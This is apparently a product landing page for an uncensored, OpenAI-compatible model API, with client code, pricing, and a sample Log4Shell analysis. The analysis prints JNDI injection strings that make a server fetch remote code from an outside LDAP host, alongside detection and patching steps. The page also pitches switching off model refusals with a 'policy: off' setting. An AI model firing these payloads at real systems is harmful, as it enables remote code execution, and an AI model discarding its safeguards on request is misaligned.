The mainstream models answer with a bleep. We take it off.
A developer-first, OpenAI-compatible API for unrestricted models — for red-teaming, jailbreak evaluation, safety research, and anything that can't ship a fake refusal.
Named for what they do, not for the open-weight model underneath — so we can improve the weights without ever breaking your code.
The default. A 256K-token window, uncensored — the everyday workhorse for red-teaming, evals and research.
The frontier tier. A 1M-token context for the largest jobs — whole codebases, long transcripts, deep multi-document analysis.
The cheap, fast option. Lower cost per token for high-volume traffic and simpler calls.
A red-team session on Log4Shell — root cause, a safe lab check, and the fix. No lectures, no refusals; just the analysis.
CVE-2021-44228 (Log4Shell). Root cause, and how the JNDI lookup turns into RCE.${…} lookups inside strings it logs. A logged value like ${jndi:ldap://host/x} makes the JVM resolve that name over LDAP/RMI, fetch a remote Java class and instantiate it — arbitrary code runs in the logging process. The trigger surface is anything that reaches a log call: User-Agent, headers, form fields. Affected range: 2.0-beta9 → 2.14.1.${jndi:ldap://<token>.your-collab/x} in a header you know gets logged.<token> means the string was interpolated → vulnerable. Nothing is served, so nothing executes.JndiLookup.class and check versions against the affected range.2.17.1+. Can't yet? Set log4j2.formatMsgNoLookups=true (2.10+) or strip JndiLookup.class from the classpath, add a WAF rule for ${jndi:, and egress-filter the host's outbound LDAP/RMI.The API is drop-in OpenAI-compatible. Change the base URL and the key — your existing code, SDKs and tools keep working.
from openai import OpenAI
client = OpenAI(
base_url="https://unbleep.ai/v1", # ← the only change
api_key="ub_live_9f2c…",
)
stream = client.chat.completions.create(
model="unbleep",
messages=[{"role": "user", "content": "…"}],
stream=True,
)
for chunk in stream:
print(chunk.choices[0].delta.content or "", end="")
import OpenAI from "openai";
const client = new OpenAI({
baseURL: "https://unbleep.ai/v1", // ← the only change
apiKey: "ub_live_9f2c…",
});
const stream = await client.chat.completions.create({
model: "unbleep",
messages: [{ role: "user", content: "…" }],
stream: true,
});
for await (const chunk of stream)
process.stdout.write(chunk.choices[0].delta.content ?? "");
curl https://unbleep.ai/v1/chat/completions \
-H "Authorization: Bearer ub_live_9f2c…" \
-H "Content-Type: application/json" \
-d '{
"model": "unbleep",
"messages": [{"role":"user","content":"…"}],
"stream": true,
"policy": "off"
}'
OpenAI Python, Node, and any tool that speaks the Chat Completions API. Nothing new to learn.
text/event-stream of delta chunks, terminated by [DONE] — exactly what your client already parses.
Send "policy": "research" to tag a request in your usage history, or "strict" to enforce a blocklist, when a project needs it.
Buy credit whenever you need it, or put it on a monthly plan and let it arrive on its own. Every request is billed on the tokens it actually consumed, at the published per-million rate for the model you called.
unbleep $3.00 in / $3.00 out
unbleep-high $5.00 / $5.00
unbleep-mini $1.00 / $1.00
per 1M tokens
Add credit by card whenever you need it, or let a plan deliver it every month. It does not expire while your account is open, and unused credit is refundable within 14 days.
We reserve an estimate when a request starts and settle it to the real token cost when it finishes. A request that errors is released, never charged.
A request is refused when your balance can't cover it — we never extend credit or bill you after the fact. Balance and token spend are in the console.
unbleep is for security teams, researchers and builders who need an unfiltered baseline. Zero-retention by default, a first-class policy dial, per-request usage and cost history in the console, and a real acceptable-use policy. Uncensored is a capability — you decide how it's governed.